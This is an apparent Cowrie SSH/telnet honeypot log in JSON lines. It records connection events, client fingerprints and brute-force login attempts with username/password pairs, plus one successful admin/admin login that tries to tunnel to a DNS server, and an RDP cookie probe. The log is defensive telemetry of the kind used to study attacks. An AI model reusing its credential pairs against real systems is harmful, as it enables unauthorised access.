{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:28.618637Z","src_ip":"124.156.196.131","session":"be05f5fb4701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:28.856503Z","src_ip":"124.156.196.131","session":"be05f5fb4701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:29.258924Z","src_ip":"43.163.95.54","session":"e30d431b3fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sunil","password":"sunil123","message":"login attempt [sunil/sunil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:29.838798Z","src_ip":"124.156.196.131","session":"be05f5fb4701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:31.080397Z","src_ip":"124.156.196.131","session":"be05f5fb4701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a140d12e8c59","protocol":"telnet","message":"New connection: 152.42.224.71:52598 (10.17.0.5:23) [session: a140d12e8c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:32.562822Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":34522,"dst_ip":"10.17.0.5","dst_port":22,"session":"24de642787aa","protocol":"ssh","message":"New connection: 80.94.92.168:34522 (10.17.0.5:22) [session: 24de642787aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:44.401176Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:44.512069Z","src_ip":"80.94.92.168","session":"24de642787aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e204eef80fd","protocol":"ssh","message":"New connection: 80.94.92.184:41180 (10.17.0.5:22) [session: 9e204eef80fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:52.512720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:52.549759Z","src_ip":"80.94.92.184","session":"9e204eef80fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:52.708125Z","src_ip":"80.94.92.184","session":"9e204eef80fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:53.201545Z","src_ip":"80.94.92.184","session":"9e204eef80fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:54.553108Z","src_ip":"80.94.92.184","session":"9e204eef80fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65186,"dst_ip":"10.17.0.5","dst_port":22,"session":"acd959e59cb1","protocol":"ssh","message":"New connection: 152.42.212.128:65186 (10.17.0.5:22) [session: acd959e59cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:56.291986Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:56.296635Z","src_ip":"152.42.212.128","session":"acd959e59cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:56.300852Z","src_ip":"152.42.212.128","session":"acd959e59cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.54550313949585,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:04.524047Z","src_ip":"152.42.224.71","session":"8f7298cf01fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.15818929672241,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:06.512417Z","src_ip":"152.42.224.71","session":"b850e04a7533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04890727996826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:06.611629Z","src_ip":"152.42.224.71","session":"a140d12e8c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":47156,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b637637eca0","protocol":"ssh","message":"New connection: 43.163.95.54:47156 (159.203.135.109:22) [session: 0b637637eca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:41.979963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:41.984710Z","src_ip":"43.163.95.54","session":"0b637637eca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:42.221515Z","src_ip":"43.163.95.54","session":"0b637637eca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@2026","message":"login attempt [root/Hello@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:43.201971Z","src_ip":"43.163.95.54","session":"0b637637eca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:44.442463Z","src_ip":"43.163.95.54","session":"0b637637eca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":54464,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b05737a4b46","protocol":"ssh","message":"New connection: 124.156.196.131:54464 (159.203.135.109:22) [session: 7b05737a4b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:45.896796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:45.901943Z","src_ip":"124.156.196.131","session":"7b05737a4b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:46.148099Z","src_ip":"124.156.196.131","session":"7b05737a4b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:47.158777Z","src_ip":"124.156.196.131","session":"7b05737a4b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64148,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff2e0f9998ef","protocol":"ssh","message":"New connection: 87.251.64.176:64148 (10.17.0.5:22) [session: ff2e0f9998ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:47.597131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:47.602068Z","src_ip":"87.251.64.176","session":"ff2e0f9998ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:47.699476Z","src_ip":"87.251.64.176","session":"ff2e0f9998ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:47.991125Z","src_ip":"87.251.64.176","session":"ff2e0f9998ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:48.092328Z","session":"ff2e0f9998ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:48.194762Z","src_ip":"87.251.64.176","session":"ff2e0f9998ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:48.407740Z","src_ip":"124.156.196.131","session":"7b05737a4b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:24:48.429997Z","src_ip":"87.251.64.176","session":"ff2e0f9998ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":3612,"dst_ip":"10.17.0.5","dst_port":22,"session":"322e82b47e8e","protocol":"ssh","message":"New connection: 38.93.206.2:3612 (10.17.0.5:22) [session: 322e82b47e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:03.512459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:03.517949Z","src_ip":"38.93.206.2","session":"322e82b47e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:03.569467Z","src_ip":"38.93.206.2","session":"322e82b47e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:03.723923Z","src_ip":"38.93.206.2","session":"322e82b47e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:04.779766Z","src_ip":"38.93.206.2","session":"322e82b47e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50876,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b928711521","protocol":"ssh","message":"New connection: 103.172.78.219:50876 (10.17.0.5:22) [session: e4b928711521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:36.437047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:36.441983Z","src_ip":"103.172.78.219","session":"e4b928711521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:36.711531Z","src_ip":"103.172.78.219","session":"e4b928711521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer123","message":"login attempt [root/killer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:37.563303Z","src_ip":"103.172.78.219","session":"e4b928711521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:38.834826Z","src_ip":"103.172.78.219","session":"e4b928711521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":46824,"dst_ip":"159.203.135.109","dst_port":22,"session":"91072cd02204","protocol":"ssh","message":"New connection: 43.163.95.54:46824 (159.203.135.109:22) [session: 91072cd02204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:51.137412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:25:51.142084Z","src_ip":"43.163.95.54","session":"91072cd02204","protocol":"ssh"}
